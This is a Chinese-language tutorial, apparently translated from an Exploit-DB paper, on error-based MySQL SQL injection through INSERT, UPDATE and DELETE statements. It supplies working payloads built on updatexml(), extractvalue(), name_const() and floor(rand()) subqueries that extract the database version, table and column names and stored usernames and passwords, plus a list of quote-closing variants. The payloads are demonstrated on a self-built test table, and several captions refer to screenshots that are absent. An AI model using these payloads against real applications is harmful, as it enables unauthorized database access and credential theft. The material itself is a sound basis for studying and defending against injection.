利用insert，update和delete注入獲取資料

0x00 簡介

---

利用SQL隱碼攻擊獲取資料庫資料，利用的方法可以大致分為聯合查詢、報錯、布林盲注以及延時注入，通常這些方法都是基於select查詢語句中的SQL注射點來實現的。那麼，當我們發現了一個基於insert、update、delete語句的注射點時（比如有的網站會記錄使用者瀏覽記錄，包括referer、client_ip、user-agent等，還有類似於使用者註冊、密碼修改、資訊刪除等功能），還可以用如上方法獲取我們需要的資料嗎？在這裡，我們以MYSQL的顯錯為例，看一下如何在insert、update、delete的注射點中獲取我們想要的資料。

0x01 環境搭建

---

為了更好的演示注射效果，我們先利用下面的語句建立原始資料：

create database newdb；
use newdb;
create table users(
id int(3) not null auto_increment,
username varchar(20) not null,
password varchar(20)  not null,
primary key (id)
);
insert into users values(1,'Jane','Eyre');

看一下當前資料結構：

0x02 注入語法

---

因為我們這裡是用的顯錯模式，所以思路就是在insert、update、delete語句中人為構造語法錯誤，利用如下語句：

insert into users (id, username, password) values (2,''inject here'','Olivia');
insert into users (id, username, password) values (2,""inject here"",'Olivia');

注意：大家看到本來是要填入username欄位的地方，我們填了'inject here'和”inject here”兩個欄位來實現爆錯，一個是單引號包含、一個是雙引號包含，要根據實際的注入點靈活構造。

0x03 利用updatexml()獲取資料

---

updatexml()函式是MYSQL對XML文件資料進行查詢和修改的XPATH函式。

payload：

or updatexml(1,concat(0x7e,(version())),0) or

Insert：

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo');

Update：

UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia';

Delete：

DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';

提取資料：

由於篇幅有限，在insert、update、delete用法一致的時候，我會僅以insert為例說明。

所用的payload為：

or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or

獲取newdb資料庫表名：

獲取users表的列名：

利用insert獲取users表的資料：

利用delete獲取users表的資料：

我們可以用insert、update、delete語句獲取到資料庫表名、列名，但是不能用update獲取當前表的資料：

在這裡，為了演示用update獲取資料，我們臨時再建立一個含有id，name，address的students表，並插入一條資料：

再次利用update獲取users表的資料：

如果你碰到一個update的注入並且想獲取當前表的資料的話，可用用雙查詢，我後面會講到。

0x04 利用extractvalue()獲取資料

---

extractvalue()函式也是MYSQL對XML文件資料進行查詢和修改的XPATH函式。

payload：

or extractvalue(1,concat(0x7e,database())) or

Insert：

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,database())) or'', 'Nervo');

update：

UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or'' WHERE id=2 and username='Nervo';

delete：

DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or'';

提取資料：

同樣，在insert、update、delete用法一致的時候，我會僅以insert為例說明。

獲取newdb資料庫表名：

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 1,1))) or'', 'Nervo');

獲取users表的列名：

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1))) or'', 'Nervo');

獲取users表的資料：

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1))) or '', 'Nervo');

同樣，我們可以用insert、update、delete語句獲取到資料庫表名、列名，但是不能用update獲取當前表的資料。

0x05 利用name_const()獲取資料

---

name_const()函式是MYSQL5.0.12版本加入的一個返回給定值的函式。當用來產生一個結果集合列時 , NAME_CONST() 促使該列使用給定名稱。

Payload：

or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or

Insert：

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '','Nervo');

update：

UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo';

delete：

DELETE FROM users WHERE id=1 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or '';

提取資料：

在最新的MYSQL版本中，使用name_const()函式只能提取到資料庫的版本資訊。但是在一些比較舊的高於5.0.12(包括5.0.12)的MYSQL版本中，可以進一步提取更多資料。在這裡我使用MySQL5.0.45進行演示。

首先，我們做一個簡單的SELECT查詢，檢查我們是否可以提取資料。

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo');

如果顯示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST，那就洗洗睡吧。。

如果顯示ERROR 1060 (42S21): Duplicate column name '2'，就可以進一步獲取更多資料。

獲取newdb資料庫表名：

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1))a) or '', 'Nervo');

ERROR 1060 (42S21): Duplicate column name 'users'

獲取users表的列名：

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1),name_const(( SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1))a) or '', 'Nervo');

ERROR 1060 (42S21): Duplicate column name 'id'

獲取users表的資料：

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit
0,1),1))a) or '', 'Nervo');

ERROR 1060 (42S21): Duplicate column name '1~Jane~Eyre'

0x06 利用子查詢注入

---

原理與select查詢時的顯錯注入一致。

Insert：

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or'', 'Nervo');

update：

UPDATE users SET password='Nicky' or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' WHERE id=2 and username='Nervo';

delete：

DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' ;

提取資料：

獲取newdb資料庫表名：

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '','Nervo');

獲取users表的列名：

INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo');

獲取users表的資料：

INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo');

0x07 更多閉合變種

---

' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "

0x08 引用

---

http://dev.mysql.com/

http://websec.ca/kb/sql_injection

from：http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf